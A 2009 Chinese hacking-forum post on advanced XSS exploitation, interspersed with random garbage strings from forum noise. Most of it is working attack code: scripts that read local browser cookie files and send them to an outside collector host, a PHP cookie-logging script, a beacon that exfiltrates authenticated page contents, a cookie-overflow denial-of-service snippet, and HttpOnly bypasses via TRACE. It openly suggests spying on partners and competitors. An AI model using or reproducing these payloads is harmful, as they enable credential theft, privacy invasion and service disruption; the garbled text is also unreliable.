XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
* m- }7 o! X4 v! Y2 f本帖最后由 racle 于 2009-5-30 09:19 编辑
6 a& ]0 ?1 Z9 D" Y2 P
0 g/ E0 Z' ], w, q+ zXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
2 x  D( {! X; @; N9 rhttp://bbs.tian6.com/thread-12711-1-1.html
. n1 B# I5 ^+ V9 k2 G- [* K' P转帖请保留版权
5 T& `. G2 }% [$ a; c
- K; B9 \. T6 L! W2 C

' A3 W, b( y7 L. r: G7 ~; Z" _3 B-------------------------------------------前言---------------------------------------------------------
5 S' `, N! l! S7 y/ ~

本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
7 H% F; u  K0 J; \5 lhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
+ Y* ~5 F9 p/ d" {1 Phttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
  [; {8 r9 O% X$ k! A, S" l7 \
8 c3 m7 i7 J# L7 v2 K9 M


, R4 ?0 V' Z9 W$ ^0 D$ _3 ]如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
, q$ L0 v3 m$ g2 d) g
9 s8 u3 e9 T, q/ d5 g1 x5 A' u希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
/ g7 Z/ B, ^7 F6 Z
' L' n2 E; M  J. G4 G6 ^Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
) Y9 ]) z" H) R  g& }
/ A( r1 T6 T& m: W' R" sQQ ZONE,校内网XSS     感染过万QQ ZONE.
8 O4 z! ]& H. q1 [: v/ o) Y5 ]' q
5 P& r/ l3 D9 B% mOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
- H+ E0 i" B+ G8 g) w9 K
8 M1 U/ Z$ l5 ]5 L2 }8 f..........
复制代码------------------------------------------介绍-------------------------------------------------------------
5 h7 ?0 \. x/ Y
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
  L1 S  m0 z  I7 H4 g


. p0 m! A3 [' S( p# `6 I$ a跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

" V! r: o* n! G+ I6 S: o5 E

如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
/ X. Z3 Q5 K5 r6 J" R8 s复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
- P4 f) J8 ^/ C! B我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?
0 y! s* _* R2 j- X6 a! t8 h; B
! E, D) s# h2 [; a2 V8 ~, m2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

0 B; I5 V" h: u4        XSS漏洞在输出和输入两个方面怎么才能避免.

! L0 E- ]( o5 J( M

8 F* {+ E6 e3 A  y------------------------------------------研究正题----------------------------------------------------------



通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
; K7 G6 @, J$ E5 E' q5 J

' A# x8 Y- R* p  y4 ~! i


  g4 V+ e2 n) u(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)



    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。



4 M: \! X9 J& g" U6 |: W    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
0 U. h& F- u) q6 j& V2 G
9 A- v1 t, T: k! i
9 y: P+ T! V+ n+ A2 Z
# l% E7 r  e0 F! N    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
( d5 }1 ]* i) F5 r复制代码IE6使用ajax读取本地文件    <script>

* k2 j9 R4 l/ p4 [/ j    function $(x){return document.getElementById(x)}


  H1 ^5 d1 u$ Z3 g
& Y: B# {' }  W6 D$ H    function ajax_obj(){

    var request = false;

    if(window.XMLHttpRequest) {

5 A4 w- d3 I: c6 j" t0 N    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
, T6 A0 S2 V8 j5 P
6 C2 m2 g2 U: s7 o2 m. f* n    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


4 G, ]+ v/ t% x0 q# ]( H
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
+ p7 d& A2 G' l  ^5 ~
8 a& f9 D! c" K: Z- Q; b) s    for(var i=0; i<versions.length; i++) {

    try {
7 g) W& `! Q. |
/ X5 ]( ?2 t6 l. V: z* O+ W+ F5 V5 P1 a    request = new ActiveXObject(versions);

7 I8 o5 j' G5 t( c4 R) i2 }1 j7 D    } catch(e) {}

$ W  ]8 a% M! T6 R& g    }

    }

    return request;
* B0 I1 [  g( M9 c. f
    }
, V3 Z+ z1 I9 Q0 B6 @7 W( N% \* \! R
    var _x = ajax_obj();
1 i) ?+ @2 s7 d$ g
0 S! o) s; |9 T    function _7or3(_m,action,argv){
0 x: a1 ?, l/ O+ ?$ Y+ q
    _x.open(_m,action,false);
: E2 R( A0 U  d0 R; R: d
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

$ `2 \( x" P1 g3 R! V, R0 S! ^* Q    _x.send(argv);
' N4 B4 z8 f8 q/ ]% G  K, \* ^& F
2 O" m) t$ x8 Q! Y$ H, T% h' ?    return _x.responseText;

    }
8 o, W2 n1 ]( |% o3 c( V


, O/ m& F8 u" d7 r  o1 J    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
6 N. W  }. t" N7 S) }( a; o* m/ a
    alert(txt);


2 C1 H6 z$ ?2 H  D8 T: k$ V! w
    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
9 T0 k/ g  p+ `/ e+ e# b9 V
) ?& a9 F% S! h# Q% h+ y    function $(x){return document.getElementById(x)}
/ I3 @3 G. b( k4 w0 m+ Z7 N( i1 o
4 o0 Z- N  \" y5 }) Y

    function ajax_obj(){
3 s2 j# ~) J4 E
. }; p! |& \1 g7 q    var request = false;

    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
; _, y0 R8 P$ @; C: ~% s
" _" u+ W* o1 q* ^: [5 L# I    } else if(window.ActiveXObject) {
/ i) u/ f* g$ G0 V! V9 Q0 q# g
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

5 S5 i2 {* C7 V

' Q. ]' z' B3 e# c* W( b3 a4 v: T    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
, Y. Y4 t, t4 I. o. B  G
    for(var i=0; i<versions.length; i++) {

2 e8 w0 s: [( A0 Y. H8 \' @    try {
" O2 q# u  C! o' V7 r: D# r
    request = new ActiveXObject(versions);
5 Z0 _5 }6 E% h2 A5 ~) i) {0 f( p! g
    } catch(e) {}

/ g/ ^" o3 |' [; l    }

    }
) i" b  ^, q( @0 P
    return request;
+ s4 k( y( i6 r; I$ I
4 ^/ j5 l# k: G8 E9 A: T# x    }

( R4 [9 Q) C/ G. U2 |    var _x = ajax_obj();

* [4 J3 ^* a) |0 g, J    function _7or3(_m,action,argv){

' K+ v3 L: O! _: k    _x.open(_m,action,false);
5 z* b& @# a+ @, b
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
- l! ^# L2 s( U0 ^6 X& E  E9 V/ ?! g7 n
- e' @  p5 Z6 F* g% Z: H    _x.send(argv);

    return _x.responseText;
6 Q: W( n" q& k/ I: D$ ^8 ]
1 ], L% H- k8 |, a/ ~* n' q7 u    }
$ Y/ r" g" v2 T% p

0 Y. u  m3 c7 B9 x* ~
    var txt=_7or3("GET","1/11.txt",null);
" w4 I* \( A* s. ~7 a" x8 A
4 P6 P6 U2 m' o) o' t% S4 d, U    alert(txt);
6 Z! y4 n5 d1 n. D, {! x
: \$ B0 y4 S, w2 R, G! U# X# ^2 o5 e
( f) @0 t5 g2 \  \$ R  }/ W
    </script>
$ |' B4 q' \, ?6 p复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
+ U+ d) p* J& D) b( u


Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
7 A3 P1 u( K5 a; G% z
2 c% S& N) R9 F" Z2 W6 p$ t

, r; ~8 {+ U7 [4 x" O<?   

/*  
7 b7 q3 {5 W' [0 E) b3 ?
     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

     www.inbreak.net   

  s" p  _. _  b3 }" q     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
7 U3 y3 `9 @2 C" z- k) M
*/  
3 }) K' p; V% {+ C2 {
) _$ K) ?1 k$ [1 k4 K/ nheader("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   

/*  
3 z2 q. s2 J7 s1 c3 i; {/ ?1 i
7 N. C) N4 K  j! ]" _# L8 y     set header, so just download html file,and open it at local.  

*/  
; A2 U8 F2 s4 `8 a, M" x
?>   
5 I$ }9 L- t: `& |9 Y
<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
6 ]8 B3 \5 X* t! ~) p4 K2 W+ r" o
8 E- i4 J9 P" \$ w' L! L! o+ \* W     <input id="input" name="cookie" value="" type="hidden">   
  V8 N$ H2 b2 T- o2 z( R+ [( ^
6 m) T3 p( y( P</form>   

<script>   

& F. R4 _% v, H5 h, Ffunction doMyAjax(user)   
, \* ]  u' y6 t& H  B  N6 ?
{   
& o. i: u% s- \& a7 N/ v
var time = Math.random();   

/*  
- Z& g: L3 @' ]! v+ i. G, ^( f
, |) N2 ^- [- g8 K+ w) c5 u) Q' jthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
2 b$ O( x7 A6 v! F, F
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  

*/  
& |$ w7 y$ t! B3 D5 s- V  K! K4 f
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   

% T) q+ x3 m! J3 m$ ystartRequest(strPer);   


! d! t( p4 i! ~# c
: Y- L; n8 J4 u/ g, h* }}   

3 Y3 i) @5 I0 s3 v$ J7 W   
* W6 v3 S, ]+ p' T
* c( s) a5 T3 Z, q8 s7 K- s% vfunction Enshellcode(txt)   

{   
+ @) p& y3 M) o
var url=new String(txt);   

; R; y# `' {3 L% D; Zvar i=0,l=0,k=0,curl="";   

+ ~4 O2 Y2 m, Ul= url.length;   
# K$ F# K3 n2 Q" V% \9 b
* w# c5 K& k- u/ yfor(;i<l;i++){   

" k1 \* F6 J! ^) ^5 E. N7 S$ Yk=url.charCodeAt(i);   
+ `; N2 c1 }+ L- e
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
; a, o  ]& @& f# J& G1 o
if (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   
! }& g( x6 c, ]' a3 c
, d0 u% l# }$ R/ ^$ mreturn curl;   
+ G  n6 J3 m/ r: W" g$ y
. X) S; _/ k8 C2 P8 {}   
6 o6 |, I( f. Z' P' X
   

. _! K* y2 C  ~' C- X; d: Y2 b2 M3 A   
7 R* t% h! O9 u3 n" G, F6 W
7 C0 h4 E0 i! `3 o( Z0 Mvar xmlHttp;   

function createXMLHttp(){   
9 I1 `/ h3 `1 }; u) a
     if(window.XMLHttpRequest){   

1 b$ O5 c5 h$ S; j; Z3 O0 u: RxmlHttp = new XMLHttpRequest();           

     }   
+ W7 S  \! A. l
     else if(window.ActiveXObject){   

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
& H, D# j6 L3 I: D: T1 E+ t, b( n" P  y
     }   
( c, v3 ?( \7 S/ _! H5 L: C
}   
1 R& }7 q# r1 ?8 D  S
   

, g% S) H2 V: [' h4 Q+ Gfunction startRequest(doUrl){   

   
7 [0 p* Q' E' l# ^
5 Y9 l# c* e4 e! S) e2 t+ p% k     createXMLHttp();   



     xmlHttp.onreadystatechange = handleStateChange;   


8 `2 G! e  H$ p! I3 o. x" G, B6 a
/ `2 \$ K2 G) I6 ]4 `/ j- F. M     xmlHttp.open("GET", doUrl, true);   


4 G. t3 ]- I  T$ E# K2 B
     xmlHttp.send(null);   
+ N4 A. t/ w7 [



& x$ g$ Q( F/ r+ ?- h4 R) z0 ]& @% Y" ~
}   

+ D- u) N$ {' Q, I) T   
' \2 O% }  B- k1 l# [: c8 r
function handleStateChange(){   
8 i4 v. ]- K3 U( @& ~
& c8 l* {  |& v  W. w7 J5 Y& m     if (xmlHttp.readyState == 4 ){   
6 @* p. |+ `2 v; |$ _" t% r- \
     var strResponse = "";   
. f, L( l, s3 D
2 z' Y& a6 G) K! [/ k3 G     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        
) T2 D6 Y. m; c
     }   
- p! p! [) E; V% R. w8 O8 ~3 Q
}   

6 {- H" T& f" s  U6 N5 g* l. b   
( D& H$ R- }4 T. N9 A( k
   
1 w% M% T8 F9 V3 F
6 L9 u- K1 l# p/ h0 Yfunction framekxlzxPost(text)   
" J9 w9 |. s0 f. T: r! f- R
{   
# v; D+ U0 O  O9 Y/ T9 O* J" Z! R9 \
/ x/ y1 Z# v! ^     document.getElementById("input").value = Enshellcode(text);   
7 V: x$ j4 I3 A: |1 f+ u
' T. A3 z8 b4 v" O  y7 b( Z     document.getElementById("form").submit();   
% ~, [7 l7 |2 H  ~8 b
7 W3 S! Z- P# n) }}   

- `7 t1 {! b6 ^! y) `5 ~   
/ w2 J. z" T. `5 B- N/ J5 ~: k
3 z7 k3 |' T5 F4 ]6 c: P& c+ XdoMyAjax("administrator");   
6 @/ y  w  Z) l- L( H# |
( r3 Y. |9 t5 A: [6 m: [   
4 d8 r9 [1 j6 L
</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

4 F" t6 n2 [$ v/ N; Z, p( ]var xmlHttp;  
& t! E4 W4 Q7 {  D! g7 ^6 z4 G
function createXMLHttp(){  
( A$ d. A  P4 E9 }! o
     if(window.XMLHttpRequest){  
, K( l' |; }! P; A# S
# P: ^; c! n9 ~, C         xmlHttp = new XMLHttpRequest();         
$ K: o" Q2 N. K& S
     }  

2 p/ z% L* L- K7 R% k     else if(window.ActiveXObject){  

# j) f+ ?2 J$ m  I; Q6 w2 Q         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

/ g6 O4 W) F& [8 Z2 O& @     }  
: |7 d. @7 x, v8 P/ \9 ?" W- t
! Q8 m6 k! @) B}  

# |8 `4 V( `" f6 G   
8 R) D/ @2 k5 G/ w; i
function startRequest(doUrl){  
! T, p# M+ r( s  |0 c3 _( i- n
           

     createXMLHttp();  

      

     xmlHttp.onreadystatechange = handleStateChange;  
/ t9 O! ?, q$ `
- m: ?0 a. @, A: v      

     xmlHttp.open("GET", doUrl, true);  
( Z" x2 q. K- q
: q/ \* U$ b* i) v      

, ^+ b) K" j8 U! ^. f     xmlHttp.send(null);  
* g! h# w% X' x  q
      
8 Z6 @- E% W( O" q5 @) R- L6 F
      
- _1 i2 [: C9 z
2 f# T0 {5 r  V! v+ T}   
' A# P" a8 v% F: b2 C* x
: {3 _; @% \3 u2 K   

function handleStateChange(){  

     if (xmlHttp.readyState == 4 ){  
* ^$ z7 P+ e" ?* c# t) }0 @# ?3 I8 g
             var strResponse = "";  
1 B7 \3 o% b. o* \  ~& g* j
! I( \7 J8 h$ _# y% `; j7 }             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

               

     }  

1 ?; E5 w) c& B+ `% s0 G}  

1 s. {+ o: M- z   

function doMyAjax(user,file)  

{  

* P  @: J2 n% P0 \0 C9 u         var time = Math.random();  

+ H: E) E) T+ m  r           

0 n* ~$ }5 L3 w6 b  M" ^         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

+ i; P7 E7 i. T+ Z           
2 I9 A& S: t0 B: A
" T+ Z8 _1 b; c" A$ i0 m/ F         startRequest(strPer);  
. b1 B4 a" |0 `8 b* ]5 O; W0 B' [0 {
      
6 e/ h& q3 _7 }4 i
) ]5 k3 M) _8 W* q+ Q0 S}  
/ S0 o* n+ d' m2 k
   

function framekxlzxPost(text)  
; I0 a8 q( x+ V+ H0 t
{  
# U6 G( F. e9 |+ Q/ ~4 D; q
; n5 l. B' i3 h- e1 D- o     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

! n$ D; J3 {4 B: U/ P- }4 D1 C     alert(/ok/);  
/ J( i; `4 N- K" t7 b) i& Z/ V
}  

   
6 |) C9 f$ g; b3 A3 S
8 {$ M/ y, Z, `8 Z+ FdoMyAjax('administrator','administrator@alibaba[1].txt');  
( N! ~% z* Z5 R0 l6 K8 p$ r
   
  N" @5 O" {! C+ O+ ?9 l4 C
0 A5 s6 }; D7 T% M</script>
7 g) k( h4 R; H2 N; h

+ R1 P  B  h8 P' k3 x0 k
5 ]# k2 C$ @' ]( I/ C
2 Y7 O  C' p+ U+ d1 U
a.php
2 \, l- n7 Q9 X% {. F( j$ ~* }% M
  q$ |- O# W' ]% \' ?( j

4 p: z% y' Y, `/ o<?php      
* {* \* P3 B, Z1 m! p
   
1 w4 G* u$ ]: ]% a% y
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
  y3 a9 [7 O2 N* e) v- [8 D
( d, ]5 i5 e6 ?, z0 n6 ?1 ?$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

7 `! w3 D% W, L2 m3 K9 ?* U  
. @2 E7 Q& ~$ C2 u) N
4 ]  T; Z6 u2 p+ Y+ m/ X- v( U$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
/ Y. L! W) ?: k' q0 t2 D" _& T
fwrite($fp,$_GET["cookie"]);      

4 q" W  K. Q8 Q. s5 Q5 e9 tfclose($fp);   

; [" \- N: y& s2 R1 B" |?>
4 X. E  @9 W2 D, }6 K& r, {  i复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
" ^) M6 \; Y! [/ N2 r  e
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
, @7 b. H3 s9 m8 F' L# D& C
" ?+ A: X, V  o  O& k0 \: i$ w+ E6 s//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
9 E" H2 m4 p- @% l
' b0 U. L2 |. ]3 x6 N//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
9 G3 Y' N, k# t5 Q" l. u% R
; V2 L& a4 h6 R$ y0 B3 Nfunction getURL(s) {
+ ?  k1 d7 L( ]' `. B2 ~: b3 v! \+ ]
, l, z1 B- j3 J0 xvar image = new Image();

, S. c6 i; r0 o( {, \2 ?5 Gimage.style.width = 0;
6 @3 b9 y' D  T- g( l* L1 E& ]+ n
2 f0 g  W' g! D0 ~  l6 Jimage.style.height = 0;

1 u0 a" B9 g* a: himage.src = s;

1 j9 C% F6 P" G- W9 y0 E: e}

1 x. n2 K2 m9 g* m. H. h3 VgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
, E) G9 k, Q! j" p复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">
  x& s$ l/ X$ m4 w. r2 a
var metastr = "AAAAAAAAAA"; // 10 A
/ |6 }3 ]9 \6 n' ?2 F5 i* [/ c
var str = "";

4 t% w8 n8 y# Nwhile (str.length < 4000){

    str += metastr;
/ g. n! a' D& _8 C8 B$ \3 G
+ P- [6 t9 k, v% B! j}
5 Z$ {' Q/ V" z8 m3 F6 [! N


9 U( ?, T6 k) s; o7 idocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
. i) ~8 n" ^4 i7 b4 {0 @# m
( `9 X0 I& x1 `</script>

& X$ r$ X6 f! H! k详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
4 j. w7 ~8 g( M" D复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
7 n8 w: V* p: R/ j# B$ K1 Nserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
$ A* N. z' L+ z% N; C+ y# P
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
: k! \3 H  M$ F1 p: f+ f
, B. {" s% z% K7 v


2 W7 C: b& J3 x, D, Y( f
- k. c! [+ `' t' l/ U" l
(III) Http only bypass 与 补救对策:

$ V6 j, R" w, L0 i6 Z什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
3 d& U/ d) c1 l9 D# j) E' F$ u以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
# k4 T6 @* x& T4 a. f) L8 `
<!--

( W  O' {8 h2 s3 zfunction normalCookie() {
( g/ d: \1 Q, H0 W4 S" n# `
& I* E+ ^; ^( }  Y/ N; Gdocument.cookie = "TheCookieName=CookieValue_httpOnly";

9 s+ Q- A* Z: ?* xalert(document.cookie);
8 @+ T* f& ?, @$ o9 H. ?
}

& s. p1 B$ u; M
0 r3 V* d9 P% U. L4 D$ \
- R; N. Y! ]+ A) k1 d) W0 K* E" P! W
3 y4 S! W( B! j9 [
  G* J8 x8 h; @, Wfunction httpOnlyCookie() {
- ~# E& {. q  `
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

6 N: \3 q9 p- nalert(document.cookie);}


3 D* ]" [2 b0 C
9 B4 B- e4 f- ^' q//-->
4 }# y5 r' U2 ?( d
5 W$ d2 q# c3 G& \. {! h) F7 E" c</script>


% O7 y. G( `$ Q6 n- r% `
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
* W- T6 m+ N2 L; d) q
3 M* w) d3 S  J7 o/ J<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>

5 A, k9 K8 U; n. y9 X) |& Y$ j# [

! ]' U: o! X+ j  m- Ovar request = false;
8 ^7 T1 Y; A0 T$ m' c+ x
( X0 M" c- l. g# L0 Y& @8 J* Z        if(window.XMLHttpRequest) {
# b8 d! T1 P4 H! U9 L! a! D
: {1 B) A: R3 ^& [            request = new XMLHttpRequest();

5 H/ }  H5 m. I7 ~0 y! i1 ^. i+ C            if(request.overrideMimeType) {
* C# x! k8 b+ [' p5 R7 q" E
" [" S8 r. B4 d5 ]                request.overrideMimeType('text/xml');

            }

; w! u- x/ X- `! p4 U' l. H  A        } else if(window.ActiveXObject) {
9 I$ z9 q" v0 N3 e( t6 z7 f! ]* V
" p  A( R- w7 d5 I# c            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

% H9 n4 @' h! o& t  Z& T! g            for(var i=0; i<versions.length; i++) {
2 q! F- }, G& ?& L, K
                try {

! H" j& J" I! v  W% i                    request = new ActiveXObject(versions);

3 l4 o9 X) a" g7 N                } catch(e) {}
% ?* m8 Y. ?  R/ K' j
/ H+ }' ]1 L/ O* z2 R4 B$ Y            }

/ ^! s# T$ U1 C/ s) P% [! D/ n0 F) M        }
: ~9 b. e( |$ y5 n* a) u
4 m: W4 s" p! V7 Z3 a: G- a% z: pxmlHttp=request;

4 P7 j4 l/ y( |/ l" M! v% txmlHttp.open("TRACE","http://www.vul.com",false);
+ I5 K& r4 f  g4 N
) o* \$ R/ o7 H+ CxmlHttp.send(null);

) s4 A; R2 f+ ^; l+ x9 BxmlDoc=xmlHttp.responseText;
1 w. ~& x" F5 P, T
) e( R. _; ?* N! a+ I* Zalert(xmlDoc);
: F/ V, W) v" R- y) t; J, j" H2 G
& e7 q7 F$ }  o</script>
) t% c- @. I/ n1 S6 Q1 L复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

& [$ V1 z; B. Q9 N! H, g# dvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
7 o- A7 J: E( P6 B2 I7 `1 O
var resource=xmlHttp.responseText
( c  W+ @- [  \7 f% S; N- y. N% v
resource.search(/cookies/);
+ J+ p3 w7 R! s$ M! P8 A
- H" x" w3 `1 b+ M( ~$ E$ w......................

</script>




+ ~( @/ Y+ F/ j5 e4 M! P4 n+ I
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
6 Y5 K; b. u8 i. E, ~$ g( @
0 c' v- e7 U% O; q' T- V[code]

RewriteEngine On
9 ^% |$ D0 Z1 f  D4 x9 I
